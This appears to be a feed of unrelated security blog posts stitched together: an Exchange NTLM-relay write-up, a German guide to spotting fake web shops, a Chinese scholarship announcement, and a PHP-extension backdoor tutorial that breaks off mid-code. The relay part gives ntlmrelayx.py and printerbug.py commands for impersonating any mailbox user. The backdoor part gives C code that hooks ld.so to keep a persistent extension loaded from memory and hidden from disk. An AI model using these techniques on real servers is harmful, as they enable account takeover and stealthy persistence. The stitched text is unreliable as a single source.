Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)
Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.
In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization
or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group
automatically, and all objects in this Active Directory group have that Token-Serialization right by default.
With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?
There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!
P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.
Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:
The following attacks have the similar template, the host EX01
stands for the first Exchange Server, EX02
for the second Exchange Server, and ATTACKER
for the attacker-controlled server.
In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.
For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01
to EX02
’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:
ntlmrelayx.py
on the ATTACKER
server to wait for NTLM authentications.printerbug.py
to coerce EX01
to initiate an SMB connection to ATTACKER
.ATTACKER
and relay the NTLM blobs to EX02
.# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx
# Terminal 2
$ python printerbug.py EX01 ATTACKER
Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.
Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount()
on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.
Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.
/EWS
Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.
/RPC
The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*
, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.
Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/*
is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll
, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:
RCP_IN_DATA
and RCP_OUT_DATA
channels to EX02
for RPC I/O.EX01
and relay to EX02
to complete NTLM handshakes.X-CommonAccessToken
headers to indicate we are Exchange Admin on both HTTP headers./PowerShell
The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.
Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)
Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.
This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!
The idea of this attack is that the Local Administrators
group of Exchange Server includes the group member Exchange Trusted Subsystem
, and all Exchange Server are in this group by default. That means the Machine Account EX01$
is also the local administrator of EX02
. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!
Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:
EX01
to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02
to get the Interface of MMC20.Application
.EX01
again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...)
under iMMC->Document->ActiveView
.Writing the whole exploit is fun, just like mixing the dcomexec.py
and ntlmrelayx.py
together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!
Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel
As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!
P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now
Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!
Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.
Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…
Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.
Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!
Jedes Jahr gibt es Zeiträume in denen spezielle Angebote online gestellt werden. Dies bietet allen die Möglichkeit tolle Schnäppchen zu machen. Gleichzeitig ist diese Zeit auch eine Oase für Betrüger, um mit sogenannten Fakeshops ordentlich Geld zu verdienen. Auf diesen Shops werden ebenfalls “tolle” Angebote gemacht, welche in der Regel nochmal günstiger sind als bei der “Konkurrenz”. Hierdurch werden die “Kunden” dazu verleitet auf diesen Websites zu shoppen. Die Kunden warten vergeblich auf ihre Waren…
Als Beispiel für derartige Fakeshops möchten wir ein Fahrrad erwerben. Konkret hätten wir gerne ein Fahrrad der Premiummarke Radon. Wer nach diesem Fahrrad-Typ bei Google sucht, stößt relativ schnell auf 3 Webshops, welche wir uns nachfolgend etwas genauer ansehen wollen.
Als Erstes betrachten wir den bike-discount.de Store, da diese Domain am “auffälligsten” klingt (subjektive Bewertung :). Hierbei werden alle einfachen Checks, wie sie auch bei der Analyse von z.B. Phishing-Seiten abgearbeitet.
Der erste Check ist einfach, aber effizient. Man prüft, ob der Shop bzw. die Domain (was oben in der URL steht) bereits im Zusammenhang mit den Begriffen ‘Fake’ bzw. ‘Verbraucherschutz’ im Internet auftaucht. Hier geben die entsprechenden Links Aufschluss darüber, ob bereits bekannt ist, dass es sich bei der Website um einen Fake handelt.
Die Website bike-discount.de hat einige Einträge im Zusammenhang mit den Begriffen ‘Fake’ und ‘Verbraucherschutz’. Jedoch ist zu sehen, dass nicht bike-discount.de ein Fakeshop sind, sondern dieser Shop kopiert von Fälschern und selbst das Original ist.
Hier gibt es unterschiedliche Aspekte, welche man prüfen sollte:
Der Social Media Account wirkt seriös, da dieser seit 2010 existiert, eine gewisse Anzahl an Follower hat und über einen langen Zeitraum Themenbezogene Posts vorweisen kann.
Die Informationen auf der Website sind schlüssig (Telefonnummern passen zum Ort) und vollständig (Impressum & Datenschutz). Darüber hinaus sind valide Social Media Accounts und Bewertungen auf unabhängigen Bewertungsportalen vorhanden.
Sofern es sich um eine GmbH, UG oder AG handelt, können unterschiedliche Informationsquellen genutzt werden, um zu prüfen, ob die Firma tatsächlich existiert. Ich nutze hierzu beispielsweise gerne das Handelregister. Darüber hinaus kann man die Lokation in Google Maps prüfen und ggf. auch auf Linked & Xing nach den Geschäftsführern bzw. Mitarbeitern suchen.
Die GmbH ist mit dem korrekten Firmensitz im Handelregister hinterlegt.
Die Website hat entgegen der Vermutung alle vorherigen Prüfungen bestanden. Dennoch kann die Website gefälscht sein, denn ein Angreifer könnte von der originalen Website eine 1zu1 Kopie erstellen, wodurch alle Datensätze identisch wären. Lediglich der Bezahlvorgang würde verändert werden. Deshalb sind die nächsten 2 “technischen” Prüfungsschritte sehr wichtig!
Aufgrund des oben geschilderten Vorgehens der Betrüger, sollte geprüft werden, wie “alt” die Website bzw. die Domain ist. Hierzu gibt es zwei einfache Tools, welche nachfolgend gezeigt werden. Grundsätzlich gilt, dass valide Websites/Firmen länger existieren. Wenn die Domain einer Website jünger als 2 Jahre ist, ist dies unserer Erfahrung nach als verdächtig einzustufen.
Jede registrierte Webstie muss gewisse Informationen bereitstellen. Dank der GDPR/DSGVO sind viele Informationen jedoch nicht mehr einsehbar (Regristrator, Firmenanschrift, Telefonnummer, etc.). Hierdurch ist die Bewertung von Fake-Seiten deutlich schwieriger geworden. Dennoch gibt es weiterhin eine relevant Information, welche wir auf der Website whois.com finden können, wenn wir nach unserer Domain bike-discount.de suchen: Das Registrierungsdatum bzw. letzte Update (z.B. Domain verkauft).
Der Dienst archive.org macht seit Jahrzehnten regelmäßige “Backups” vom Internet. Websites werden abhängig von ihrem Stellenwert/Ranking entsprechend oft kopiert und gespeichert. Nutzer können anschließend die Website archive.org nutzen, um beispielsweise die Version von Amazon.com aus 2015 aufzurufen. Dies kann ähnlich wie whois.com genutzt werden, um zu prüfen wie lange eine Website existiert und um nach zu vollziehen, ob die Website auch in der Vergangenheit bereits ähnliche Inhalte hatte.
Aufgrund der Tatsache, dass alle unsere Tests positiv ausgefallen sind, ist davon auszugehen, dass es sich hierbei um keinen Fakeshop handelt
Im nächsten Blogpost, zeigen wir, ob und wie die anderen beiden Webshops als Fakeshops ent werden. Bis dahin könnt Ihr uns gerne auf LinkedIn oder Twitter eure Ergebnisse der Websitebewertung mitteilen. Das könnte beispielsweise so aussehen:
1x #fake
1x #nofake
#hansesecure #infosec
https://hansesecure.de/2022/11/kauf-mich-reich-fakeshope-erkennen
Der Beitrag Kauf mich reich: Fakeshop erkennen erschien zuerst auf HanseSecure GmbH.
2022 年度「戴夫寇爾全國資訊安全獎學金」頒獎餐敘已於 12 月 17 日順利落幕。
一路走來,無論是在我們的學習之路、創業過程中,我們都受到了來自各方的支持與協助,因此我們也希望回饋社會並培育資安人才,以獎學金的方式,協助學生建構正確資安意識及技能外,也能及早瞭解業界現況,降低產學落差。
「戴夫寇爾全國資訊安全獎學金」每年補助 10 名在資安領域研究成果傑出的大專院校學生,每名頒發 2 萬元獎金,希望使這些資安界的明日之星得以無後顧之憂,專注精進資安技術,未來成為獨當一面的資安人才。
此次獲獎同學遍佈全台,分別來自基隆商工資訊科、台灣師範大學資訊工程系、陽明交通大學資訊科學與工程研究所及資電亥客與安全學程、清華大學資訊安全研究所、逢甲大學資訊工程系、台中科技大學資訊管理系、南台科技⼤學資訊工程系等。獲獎同學皆將獲獎視為重要肯定,也表示希望持續精進自己,並將經驗分享給他人、回饋社會,其中也有好幾位同學希望未來能加入 DEVCORE。
「當時受到 DEVCORE 幫助,我說未來一定找機會好好感謝 DEVCORE。但 DEVCORE 回應『只要把這份感謝的心情,拿去幫助其他人,就是最好的回報』,因為這句話,我寫了一些文章,希望能幫助到其他人。在未來,我也會繼續幫助其他人,以此來回報貴公司在資安界無私的奉獻。」清大蘇同學說。
陽明交通大學高同學則表示,將運用這筆獎學金購買原本負擔不起的昂貴物聯網設備及相關工具,以利進行資安相關研究,也將購入資訊相關書籍,提升自己的知識。
期待獲獎同學們未來持續深耕資安知識與技術,在資安舞台上發光發熱!
Dear Fellowlship, today’s homily is about how to improve persistences based on PHP extensions. In this gospel we will explain a way to keep a PHP extension loaded on the server without it being backed up by a file on disk. Please, take a seat and listen the story.
There are dozens different ways to achieve the same goal, some of them better and other worse. We are aware that the technique shown in this article can be improved making it more OPSEC friendly. This was just a simple PoC I had in mind since a few months ago and never had time to implement it, so I decided to use xmas time to write a PoC and publish about the idea. Kudos to @lockedbyte for spotting some bugs.
Using backdoored plugins/addins/extensions as persistence method is one of my favorite techniques to keep a door open after compromising a web server (indeed I wrote about this topic in multiple times in last years: Backdoors in XAMPP stack (part I): PHP extensions, Backdoors in XAMP stack (part II): UDF in MySQL, Backdoors in XAMP stack (part III): Apache Modules and Improving PHP extensions as a persistence method.
Today’s article is a direct continuation of the PHP extensions saga, serving as the end of the trilogy. It is therefore MANDATORY to read the two previous articles (they are listed above) in order to understand this one. Please read them and then continue reading :)
As a quick recap from the last article, we were abusing two PHP “hooks” (MINIT
& MSHUTDOWN
) to execute code as root when the module would be loaded/unloaded. With MINIT
code we saved the shared object in memory (just a copy) and deleted the .so from disk (also we modified the php.ini
file to remove path), then with MSHUTDOWN
(executed when the server is stoped or restarted) we wrote the .so from memory to disk and set again the extension path in php.ini
, so the next time the server starts it would load again our code and the cycle continues.
The problem is that even if the file is removed from disk we can see it referenced in the mapped regions:
7fa44e763000-7fa44e765000 r--p 00000000 08:01 2816412 /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e765000-7fa44e767000 r-xp 00002000 08:01 2816412 /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e767000-7fa44e768000 r--p 00004000 08:01 2816412 /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e768000-7fa44e769000 r--p 00004000 08:01 2816412 /home/vagrant/research/php/backdoor/adepts/adepts.so
7fa44e769000-7fa44e76a000 rw-p 00005000 08:01 2816412 /home/vagrant/research/php/backdoor/adepts/adepts.so
So, how can we remove this? There are multiple ways to approach it, here we are going to force our extension to load a copy from memory and then unload itself.
The first thing we need to understand is how PHP loads an extension and how the 4 hooks (MINIT/MSHUTDOWN
and RINIT/RSHUTDOWN
) are set. Let’s create a minimal extension:
php ../php-8.2.0/ext/ext_skel.php --ext adepts --dir .
cd adepts
phpize
./configure
make
Load it in a debugger and put a breakpoint at dlopen()
:
=> gdb php
pwndbg> b *dlopen
Breakpoint 1 at 0x203640
pwndbg> r -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so"
Starting program: /usr/local/bin/php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so"
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, ___dlopen (file=0x7ffff5805038 "/home/vagrant/research/php/backdoor/adepts/adepts.so", mode=265) at ./dlfcn/dlopen.c:77
=>f 0 0x7ffff7b49700 dlopen
f 1 0x55555595d5d4 php_load_shlib+37
f 2 0x55555595d7b1 php_load_extension+424
f 3 0x555555a97969 php_load_php_extension_cb+41
f 4 0x555555b3cb8e zend_llist_apply+50
f 5 0x555555a98be1 php_ini_register_extensions+58
f 6 0x555555a8d278 php_module_startup+2413
f 7 0x555555e08ab5 php_cli_startup+33
We can observe that the function php_load_extension
is the one that loads the extension. This function can be found at /ext/standard/dl.c, being the most interesting part:
zend_module_entry *module_entry;
zend_module_entry *(*get_module)(void);
//...
handle = php_load_shlib(libpath, &err2);
//...
get_module = (zend_module_entry *(*)(void)) DL_FETCH_SYMBOL(handle, "get_module");
//...
module_entry = get_module();
//...
if ((module_entry = zend_register_module_ex(module_entry)) == NULL) {
DL_UNLOAD(handle);
return FAILURE;
}
if ((type == MODULE_TEMPORARY || start_now) && zend_startup_module_ex(module_entry) == FAILURE) {
DL_UNLOAD(handle);
return FAILURE;
}
As we can see the code looks for the exported symbol get_module
and executes it as a function that returns a pointer to a zend_module_entry
structure. This structure is described as:
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
zend_result (*module_startup_func)(INIT_FUNC_ARGS);
zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
zend_result (*request_startup_func)(INIT_FUNC_ARGS);
zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
zend_result (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};
The most relevant part is
//...
zend_result (*module_startup_func)(INIT_FUNC_ARGS);
zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
zend_result (*request_startup_func)(INIT_FUNC_ARGS);
zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
//...
We do not need to use macros like PHP_MINIT_FUNCTION
as only need to set these members with pointers to functions that returns a zend_result
type. A minimum skeleton would be:
/* adepts extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
STANDARD_MODULE_HEADER,
"adepts", /* Extension name */
NULL, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
NULL, /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
NULL, /* PHP_MINFO - Module info */
PHP_ADEPTS_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
printf("[*] This function was called from get_module when the extension was attempted to be load\n");
return &adepts_module_entry;
}
#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif
Let’s compile it:
gcc adepts.c -shared -fPIC -o adepts.so -I/usr/local/include/php -I/usr/local/include/php/main -I/usr/local/include/php/TSRM -I/usr/local/include/php/Zend -I/usr/local/include/php/ext -I/usr/local/include/php/ext/date/lib
And test:
=> php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 'hello\n';"
[*] This function was called from get_module when the extension was attempted to be load
hello\n%
There are different options to load our extension directly from memory and not from disk. In this case I am going to borrow code from memdlopen project to patch ld.so
. First we need to add code to parse /proc/self/maps
and locate ld.so
:
/* adepts extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
size_t page_size;
bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
FILE* f = NULL;
char buffer[1024] = {0};
char* tmp = NULL;
char* start = NULL;
char* end = NULL;
bool found = false;
if ((f = fopen("/proc/self/maps", "r")) == NULL){
return found;
}
while ( fgets(buffer, sizeof(buffer), f) ){
if ( strstr(buffer, "r-xp") == 0 ) {
continue;
}
if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
continue;
}
buffer[strlen(buffer)-1] = 0;
tmp = strrchr(buffer, ' ');
if ( tmp == NULL || tmp[0] != ' ')
continue;
++tmp;
start = strtok(buffer, "-");
*addr1 = strtoul(start, NULL, 16);
end = strtok(NULL, " ");
*addr2 = strtoul(end, NULL, 16);
found = true;
}
fclose(f);
return found;
}
void patch_all(void){
uint64_t start = 0;
uint64_t end = 0;
size_t i = 0;
page_size = sysconf(_SC_PAGESIZE);
if (!find_ld_in_memory(&start, &end)){
return;
}
printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
return;
}
// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
STANDARD_MODULE_HEADER,
"adepts", /* Extension name */
NULL, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
NULL, /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
NULL, /* PHP_MINFO - Module info */
PHP_ADEPTS_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
patch_all();
return &adepts_module_entry;
}
#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif
My lab uses more recent versions of glibc…
=> lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.1 LTS
Release: 22.04
Codename: jammy
=> ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
…so we have to update the signatures to find where the hooks have to be inserted. Let’s create an extension that hooks ld.so
and traces the execution:
/* adepts extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"
#include <sys/mman.h>
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
typedef struct {
void * data;
int size;
int current;
} lib_t;
lib_t libdata;
char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int my_open(const char *pathname, int flags);
off_t my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int my_fstat(int fd, struct stat *buf);
int my_close(int fd);
/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
0x00007ffff7fc99ad <open_verify+109>: sub rdx,rax
0x00007ffff7fc99b0 <open_verify+112>: lea rsi,[rdi+rax*1]
0x00007ffff7fc99b4 <open_verify+116>: mov edi,r15d
0x00007ffff7fc99b7 <open_verify+119>: call 0x7ffff7fe9b80 <__GI___read_nocancel>
*/
const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48, 0x8d, 0x34, 0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11
/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>: mov ecx,0x812
0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>: mov DWORD PTR [rbp-0xe0],r11d
0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>: call 0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13
/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>: lea rsi,[rbp-0xc0]
0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>: call 0x7ffff7fe98a0 <__GI___fstat64>
*/
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14
/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>: call 0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7
/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
0x00007ffff7fc996a <open_verify+42>: mov esi,0x80000
0x00007ffff7fc996f <open_verify+47>: mov rdi,r14
0x00007ffff7fc9972 <open_verify+50>: xor eax,eax
0x00007ffff7fc9974 <open_verify+52>: call 0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11
/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>: mov rsi,rax
0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>: mov QWORD PTR [rbp-0x158],rax
0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>: call 0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11
const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length,
fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat,
(uint64_t)&my_close, (uint64_t)&my_open, 0};
char *fixes[7] = {0};
uint64_t fix_locations[7] = {0};
size_t page_size;
bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
FILE* f = NULL;
char buffer[1024] = {0};
char* tmp = NULL;
char* start = NULL;
char* end = NULL;
bool found = false;
if ((f = fopen("/proc/self/maps", "r")) == NULL){
return found;
}
while ( fgets(buffer, sizeof(buffer), f) ){
if ( strstr(buffer, "r-xp") == 0 ) {
continue;
}
if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
continue;
}
buffer[strlen(buffer)-1] = 0;
tmp = strrchr(buffer, ' ');
if ( tmp == NULL || tmp[0] != ' ')
continue;
++tmp;
start = strtok(buffer, "-");
*addr1 = strtoul(start, NULL, 16);
end = strtok(NULL, " ");
*addr2 = strtoul(end, NULL, 16);
found = true;
}
fclose(f);
return found;
}
/* hooks */
int my_open(const char *pathname, int flags) {
void *handle;
int (*mylegacyopen)(const char *pathnam, int flags);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyopen = dlsym(handle, "open");
printf("\t[+] Inside hooked open (ARG: %s)\n", pathname);
return mylegacyopen(pathname, flags);
}
ssize_t my_read(int fd, void *buf, size_t count){
void *handle;
ssize_t (*mylegacyread)(int fd, void *buf, size_t count);
